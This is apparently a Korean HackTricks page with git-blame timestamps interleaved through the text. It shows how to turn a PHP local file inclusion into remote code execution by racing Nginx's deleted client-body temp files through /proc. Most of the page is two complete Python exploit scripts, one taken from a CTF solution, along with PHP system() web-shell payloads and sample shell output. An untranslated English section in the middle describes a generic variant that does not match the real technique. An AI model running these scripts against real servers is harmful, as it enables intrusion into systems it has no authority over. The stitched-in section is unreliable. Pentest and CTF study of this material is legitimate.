2024-02-10 21:30:13 +00:00
# Nginx 임시 파일을 통한 LFI2RCE
2022-04-28 16:01:33 +00:00
< details >
2024-02-10 21:30:13 +00:00
< summary > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > 를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요< strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
HackTricks를 지원하는 다른 방법:
2024-02-03 16:02:14 +00:00
2024-02-10 21:30:13 +00:00
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop )를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그** ](https://peass.creator-spring.com )를 얻으세요.
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )를 발견하세요. 독점적인 [**NFTs** ](https://opensea.io/collection/the-peass-family ) 컬렉션입니다.
* 💬 [**Discord 그룹** ](https://discord.gg/hRep4RUj7f ) 또는 [**텔레그램 그룹** ](https://t.me/peass )에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live** ](https://twitter.com/hacktricks_live )를 **팔로우**하세요.
* **Hacking 트릭을 공유하려면** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) 및 [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github 저장소에 PR을 제출하세요.
2022-04-28 16:01:33 +00:00
< / details >
2024-02-05 20:00:40 +00:00
2024-02-10 21:30:13 +00:00
## 취약한 구성
2022-04-20 19:39:32 +00:00
2024-02-10 21:30:13 +00:00
**[https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)의 예시**
2022-04-20 19:39:32 +00:00
2024-02-10 21:30:13 +00:00
* PHP 코드:
2022-04-20 19:39:32 +00:00
```
< ?php include_once($_GET['file']);
```
2024-02-10 21:30:13 +00:00
* FPM / PHP 구성:
2022-04-20 19:39:32 +00:00
```
...
php_admin_value[session.upload_progress.enabled] = 0
php_admin_value[file_uploads] = 0
...
```
2024-02-10 21:30:13 +00:00
* 설정 / 강화:
2022-04-20 19:39:32 +00:00
```
...
chown -R 0:0 /tmp /var/tmp /var/lib/php/sessions
chmod -R 000 /tmp /var/tmp /var/lib/php/sessions
...
```
2024-02-10 21:30:13 +00:00
운이 좋게도 PHP는 현재 PHP-FPM과 Nginx를 통해 자주 배포됩니다. Nginx는 [client body buffering ](https://nginx.org/en/docs/http/ngx\_http\_core\_module.html#client\_body\_buffer\_size ) 기능을 제공하여 클라이언트 본문(post에 국한되지 않음)이 특정 임계값보다 큰 경우 임시 파일을 작성할 수 있습니다.
2022-04-20 19:39:32 +00:00
2024-02-10 21:30:13 +00:00
이 기능은 다른 파일 생성 방법 없이도 LFI를 악용할 수 있게 해줍니다. 이 경우 Nginx가 PHP와 동일한 사용자(일반적으로 www-data)로 실행되는 경우가 매우 흔합니다.
2022-04-20 19:39:32 +00:00
2024-02-10 21:30:13 +00:00
관련된 Nginx 코드:
2022-04-20 19:39:32 +00:00
```c
ngx_fd_t
ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access)
{
2024-02-10 21:30:13 +00:00
ngx_fd_t fd;
2022-04-20 19:39:32 +00:00
2024-02-10 21:30:13 +00:00
fd = open((const char *) name, O_CREAT|O_EXCL|O_RDWR,
access ? access : 0600);
2022-04-20 19:39:32 +00:00
2024-02-10 21:30:13 +00:00
if (fd != -1 & & !persistent) {
(void) unlink((const char *) name);
}
2022-04-20 19:39:32 +00:00
2024-02-10 21:30:13 +00:00
return fd;
2022-04-20 19:39:32 +00:00
}
```
2024-02-10 21:30:13 +00:00
다음은 Nginx에 의해 열린 **임시 파일이 즉시 연결 해제**되는 것을 확인할 수 있습니다. 다행히도 **procfs를 사용하여 삭제된 파일에 대한 참조를 여전히 얻을 수 있습니다** . 이를 위해 경쟁 상태(race)를 활용합니다:
2022-04-20 19:39:32 +00:00
```
...
/proc/34/fd:
total 0
lrwx------ 1 www-data www-data 64 Dec 25 23:56 0 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon_inode:[eventfd]
lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:[27587]
lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:[27589]
lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:[44926]
lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927]
lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted)
...
```
2024-02-10 21:30:13 +00:00
참고: 이 예제에서는 PHP의 `include` 함수가 경로를 `/var/lib/nginx/body/0000001368 (deleted)` 로 해석하여 파일 시스템에 존재하지 않는 경로인 `/proc/34/fd/15` 를 직접 포함할 수 없습니다. 다행히도 이 작은 제한은 `/proc/self/fd/34/../../../34/fd/15` 와 같은 간접적인 방법으로 우회할 수 있습니다. 이 방법을 사용하면 최종적으로 삭제된 `/var/lib/nginx/body/0000001368` 파일의 내용을 실행할 수 있습니다.
2022-04-20 19:39:32 +00:00
2024-02-10 21:30:13 +00:00
## 전체 Exploit
2022-04-20 19:39:32 +00:00
```python
#!/usr/bin/env python3
import sys, threading, requests
# exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance
# see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details
URL = f'http://{sys.argv[1]}:{sys.argv[2]}/'
2024-02-10 21:30:13 +00:00
# find nginx worker processes
2022-04-20 19:39:32 +00:00
r = requests.get(URL, params={
2024-02-10 21:30:13 +00:00
'file': '/proc/cpuinfo'
2022-04-20 19:39:32 +00:00
})
cpus = r.text.count('processor')
r = requests.get(URL, params={
2024-02-10 21:30:13 +00:00
'file': '/proc/sys/kernel/pid_max'
2022-04-20 19:39:32 +00:00
})
pid_max = int(r.text)
print(f'[*] cpus: {cpus}; pid_max: {pid_max}')
nginx_workers = []
for pid in range(pid_max):
2024-02-10 21:30:13 +00:00
r = requests.get(URL, params={
'file': f'/proc/{pid}/cmdline'
})
2022-04-20 19:39:32 +00:00
2024-02-10 21:30:13 +00:00
if b'nginx: worker process' in r.content:
print(f'[*] nginx worker found: {pid}')
2022-04-20 19:39:32 +00:00
2024-02-10 21:30:13 +00:00
nginx_workers.append(pid)
if len(nginx_workers) >= cpus:
break
2022-04-20 19:39:32 +00:00
done = False
# upload a big client body to force nginx to create a /var/lib/nginx/body/$X
def uploader():
2024-02-10 21:30:13 +00:00
print('[+] starting uploader')
while not done:
requests.get(URL, data='< ?php system($_GET["c"]); /*' + 16*1024*'A')
2022-04-20 19:39:32 +00:00
for _ in range(16):
2024-02-10 21:30:13 +00:00
t = threading.Thread(target=uploader)
t.start()
2022-04-20 19:39:32 +00:00
# brute force nginx's fds to include body files via procfs
# use ../../ to bypass include's readlink / stat problems with resolving fds to `/var/lib/nginx/body/0000001150 (deleted)`
def bruter(pid):
2024-02-10 21:30:13 +00:00
global done
while not done:
print(f'[+] brute loop restarted: {pid}')
for fd in range(4, 32):
f = f'/proc/self/fd/{pid}/../../../{pid}/fd/{fd}'
r = requests.get(URL, params={
'file': f,
'c': f'id'
})
if r.text:
print(f'[!] {f}: {r.text}')
done = True
exit()
2022-04-20 19:39:32 +00:00
for pid in nginx_workers:
2024-02-10 21:30:13 +00:00
a = threading.Thread(target=bruter, args=(pid, ))
a.start()
2022-04-20 19:39:32 +00:00
```
2024-02-10 21:30:13 +00:00
# LFI to RCE via Nginx Temp Files
2022-04-20 19:39:32 +00:00
2024-02-10 21:30:13 +00:00
## Introduction
2022-04-20 19:39:32 +00:00
2024-02-10 21:30:13 +00:00
In some cases, a Local File Inclusion (LFI) vulnerability can be escalated to Remote Code Execution (RCE) by exploiting Nginx temporary files. This technique can be used when the target server is running Nginx as its web server.
## Exploitation
1. Identify the LFI vulnerability on the target website.
2. Determine the location of the Nginx temporary directory. This can usually be found in the Nginx configuration file (`nginx.conf`).
3. Craft a payload that will write a malicious PHP file to the Nginx temporary directory. For example:
```php
<?php echo system($_GET['cmd']); ?>
```
4. Use the LFI vulnerability to include the crafted payload and write it to the Nginx temporary directory.
5. Access the malicious PHP file through the web server, providing the desired command as a parameter. For example:
```
http://target.com/nginx_temp_dir/malicious.php?cmd=whoami
```
This will execute the `whoami` command on the target server and display the output.
## Mitigation
To prevent this type of attack, it is recommended to:
- Regularly update Nginx to the latest version.
- Restrict access to the Nginx temporary directory.
- Implement input validation and sanitization to prevent LFI vulnerabilities.
- Use a Web Application Firewall (WAF) to detect and block malicious requests.
By following these mitigation techniques, the risk of LFI to RCE via Nginx temporary files can be significantly reduced.
2022-04-20 19:39:32 +00:00
```
$ ./pwn.py 127.0.0.1 1337
[*] cpus: 2; pid_max: 32768
[*] nginx worker found: 33
[*] nginx worker found: 34
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] brute loop restarted: 33
[+] brute loop restarted: 34
[!] /proc/self/fd/34/../../../34/fd/9: uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
2024-02-10 21:30:13 +00:00
### 다른 취약점
2022-04-20 19:39:32 +00:00
2024-02-10 21:30:13 +00:00
이것은 [https://lewin.co.il/winning-the-impossible-race-an-unintended-solution-for-includers-revenge-counter-hxp-2021/ ](https://lewin.co.il/winning-the-impossible-race-an-unintended-solution-for-includers-revenge-counter-hxp-2021/ )에서 가져온 것입니다.
2022-06-23 12:12:25 +00:00
```python
import requests
import threading
import multiprocessing
import threading
import random
SERVER = "http://localhost:8088"
NGINX_PIDS_CACHE = set([34, 35, 36, 37, 38, 39, 40, 41])
# Set the following to True to use the above set of PIDs instead of scanning:
USE_NGINX_PIDS_CACHE = False
def create_requests_session():
2024-02-10 21:30:13 +00:00
session = requests.Session()
# Create a large HTTP connection pool to make HTTP requests as fast as possible without TCP handshake overhead
adapter = requests.adapters.HTTPAdapter(pool_connections=1000, pool_maxsize=10000)
session.mount('http://', adapter)
return session
2022-06-23 12:12:25 +00:00
def get_nginx_pids(requests_session):
2024-02-10 21:30:13 +00:00
if USE_NGINX_PIDS_CACHE:
return NGINX_PIDS_CACHE
nginx_pids = set()
# Scan up to PID 200
for i in range(1, 200):
cmdline = requests_session.get(SERVER + f"/?action=read& file=/proc/{i}/cmdline").text
if cmdline.startswith("nginx: worker process"):
nginx_pids.add(i)
return nginx_pids
2022-06-23 12:12:25 +00:00
def send_payload(requests_session, body_size=1024000):
2024-02-10 21:30:13 +00:00
try:
# The file path (/bla) doesn't need to exist - we simply need to upload a large body to Nginx and fail fast
payload = '<?php system("/readflag"); ?> //'
requests_session.post(SERVER + "/?action=read& file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
except:
pass
2022-06-23 12:12:25 +00:00
def send_payload_worker(requests_session):
2024-02-10 21:30:13 +00:00
while True:
send_payload(requests_session)
2022-06-23 12:12:25 +00:00
def send_payload_multiprocess(requests_session):
2024-02-10 21:30:13 +00:00
# Use all CPUs to send the payload as request body for Nginx
for _ in range(multiprocessing.cpu_count()):
p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,))
p.start()
2022-06-23 12:12:25 +00:00
def generate_random_path_prefix(nginx_pids):
2024-02-10 21:30:13 +00:00
# This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root
path = ""
component_num = random.randint(0, 10)
for _ in range(component_num):
pid = random.choice(nginx_pids)
if random.randint(0, 1) == 0:
path += f"/proc/{pid}/cwd"
else:
path += f"/proc/{pid}/root"
return path
2022-06-23 12:12:25 +00:00
def read_file(requests_session, nginx_pid, fd, nginx_pids):
2024-02-10 21:30:13 +00:00
nginx_pid_list = list(nginx_pids)
while True:
path = generate_random_path_prefix(nginx_pid_list)
path += f"/proc/{nginx_pid}/fd/{fd}"
try:
d = requests_session.get(SERVER + f"/?action=include& file={path}").text
except:
continue
# Flags are formatted as hxp{<flag>}
if "hxp" in d:
print("Found flag! ")
print(d)
2022-06-23 12:12:25 +00:00
def read_file_worker(requests_session, nginx_pid, nginx_pids):
2024-02-10 21:30:13 +00:00
# Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range
for fd in range(10, 45):
thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids))
thread.start()
2022-06-23 12:12:25 +00:00
def read_file_multiprocess(requests_session, nginx_pids):
2024-02-10 21:30:13 +00:00
for nginx_pid in nginx_pids:
p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids))
p.start()
2022-06-23 12:12:25 +00:00
if __name__ == "__main__":
2024-02-10 21:30:13 +00:00
print('[DEBUG] Creating requests session')
requests_session = create_requests_session()
print('[DEBUG] Getting Nginx pids')
nginx_pids = get_nginx_pids(requests_session)
print(f'[DEBUG] Nginx pids: {nginx_pids}')
print('[DEBUG] Starting payload sending')
send_payload_multiprocess(requests_session)
print('[DEBUG] Starting fd readers')
read_file_multiprocess(requests_session, nginx_pids)
2022-06-23 12:12:25 +00:00
```
2024-02-10 21:30:13 +00:00
## 랩
2022-04-20 19:39:32 +00:00
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz ](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz )
* [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/ ](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/ )
* [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/ ](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/ )
2024-02-10 21:30:13 +00:00
## 참고 자료
2022-04-20 19:39:32 +00:00
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ ](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ )
2022-04-28 16:01:33 +00:00
< details >
2024-02-10 21:30:13 +00:00
< summary > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > 를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요< strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
HackTricks를 지원하는 다른 방법:
2024-02-03 16:02:14 +00:00
2024-02-10 21:30:13 +00:00
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop )를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그** ](https://peass.creator-spring.com )를 얻으세요.
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )를 발견하세요. 독점적인 [**NFTs** ](https://opensea.io/collection/the-peass-family ) 컬렉션입니다.
* 💬 [**Discord 그룹** ](https://discord.gg/hRep4RUj7f ) 또는 [**텔레그램 그룹** ](https://t.me/peass )에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live** ](https://twitter.com/hacktricks_live )를 **팔로우**하세요.
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
< / details >